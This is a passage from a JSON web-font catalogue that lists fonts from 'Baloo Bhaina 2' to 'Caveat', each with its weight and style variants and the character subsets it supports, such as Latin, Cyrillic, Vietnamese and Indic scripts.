Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Baloo Bhaina 2":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"oriya","name":"Oriya"},{"id":"vietnamese","name":"Vietnamese"}]},"Baloo Chettan 2":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"malayalam","name":"Malayalam"},{"id":"vietnamese","name":"Vietnamese"}]},"Baloo Da 2":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"bengali","name":"Bengali"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Baloo Paaji 2":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"gurmukhi","name":"Gurmukhi"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Baloo Tamma 2":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"kannada","name":"Kannada"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Baloo Tammudu 2":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"telugu","name":"Telugu"},{"id":"vietnamese","name":"Vietnamese"}]},"Baloo Thambi 2":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"tamil","name":"Tamil"},{"id":"vietnamese","name":"Vietnamese"}]},"Balsamiq Sans":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Balthazar":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Bangers":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Barlow":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Barlow Condensed":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Barlow Semi Condensed":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Barriecito":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Barrio":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Basic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Baskervville":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Battambang":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Baumans":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Bayon":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Be Vietnam Pro":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Beau Rivage":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Bebas Neue":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Belgrano":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Bellefair":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Belleza":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Bellota":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Bellota Text":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"BenchNine":{"variants":[{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Benne":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"kannada","name":"Kannada"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Bentham":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Berkshire Swash":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Besley":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Beth Ellen":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Bevan":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"BhuTuka Expanded One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"gurmukhi","name":"Gurmukhi"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Big Shoulders Display":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Big Shoulders Inline Display":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Big Shoulders Inline Text":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Big Shoulders Stencil Display":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Big Shoulders Stencil Text":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Big Shoulders Text":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Bigelow Rules":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Bigshot One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Bilbo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Bilbo Swash Caps":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"BioRhyme":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"BioRhyme Expanded":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Birthstone":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Birthstone Bounce":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Biryani":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Bitter":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"100italic","name":"Ultra-Light 100 Italic"},{"id":"200italic","name":"Light 200 Italic"},{"id":"300italic","name":"Book 300 Italic"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Black And White Picture":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Black Han Sans":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"korean","name":"Korean"},{"id":"latin","name":"Latin"}]},"Black Ops One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Blinker":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Bodoni Moda":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"},{"id":"800italic","name":"Extra-Bold 800 Italic"},{"id":"900italic","name":"Ultra-Bold 900 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Bokor":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"khmer","name":"Khmer"},{"id":"latin","name":"Latin"}]},"Bona Nova":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"hebrew","name":"Hebrew"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Bonbon":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Bonheur Royale":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Boogaloo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Bowlby One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Bowlby One SC":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Brawler":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"}]},"Bree Serif":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Brygada 1918":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"cyrillic","name":"Cyrillic"},{"id":"cyrillic-ext","name":"Cyrillic Extended"},{"id":"greek","name":"Greek"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Bubblegum Sans":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Bubbler One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Buda":{"variants":[{"id":"300","name":"Book 300"}],"subsets":[{"id":"latin","name":"Latin"}]},"Buenard":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Bungee":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Bungee Hairline":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Bungee Inline":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Bungee Outline":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Bungee Shade":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Butcherman":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Butterfly Kids":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Cabin":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"500italic","name":"Medium 500 Italic"},{"id":"600italic","name":"Semi-Bold 600 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Cabin Condensed":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Cabin Sketch":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"}],"subsets":[{"id":"latin","name":"Latin"}]},"Caesar Dressing":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Cagliostro":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Cairo":{"variants":[{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"arabic","name":"Arabic"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Caladea":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Calistoga":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Calligraffitti":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Cambay":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"devanagari","name":"Devanagari"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Cambo":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Candal":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Cantarell":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"latin","name":"Latin"}]},"Cantata One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Cantora One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Capriola":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Caramel":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Carattere":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"vietnamese","name":"Vietnamese"}]},"Cardo":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Carme":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Carrois Gothic":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Carrois Gothic SC":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Carter One":{"variants":[{"id":"400","name":"Normal 400"}],"subsets":[{"id":"latin","name":"Latin"}]},"Castoro":{"variants":[{"id":"400","name":"Normal 400"},{"id":"400italic","name":"Normal 400 Italic"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Catamaran":{"variants":[{"id":"100","name":"Ultra-Light 100"},{"id":"200","name":"Light 200"},{"id":"300","name":"Book 300"},{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 700"},{"id":"800","name":"Extra-Bold 800"},{"id":"900","name":"Ultra-Bold 900"}],"subsets":[{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"},{"id":"tamil","name":"Tamil"}]},"Caudex":{"variants":[{"id":"400","name":"Normal 400"},{"id":"700","name":"Bold 700"},{"id":"400italic","name":"Normal 400 Italic"},{"id":"700italic","name":"Bold 700 Italic"}],"subsets":[{"id":"greek","name":"Greek"},{"id":"greek-ext","name":"Greek Extended"},{"id":"latin","name":"Latin"},{"id":"latin-ext","name":"Latin Extended"}]},"Caveat":{"variants":[{"id":"400","name":"Normal 400"},{"id":"500","name":"Medium 500"},{"id":"600","name":"Semi-Bold 600"},{"id":"700","name":"Bold 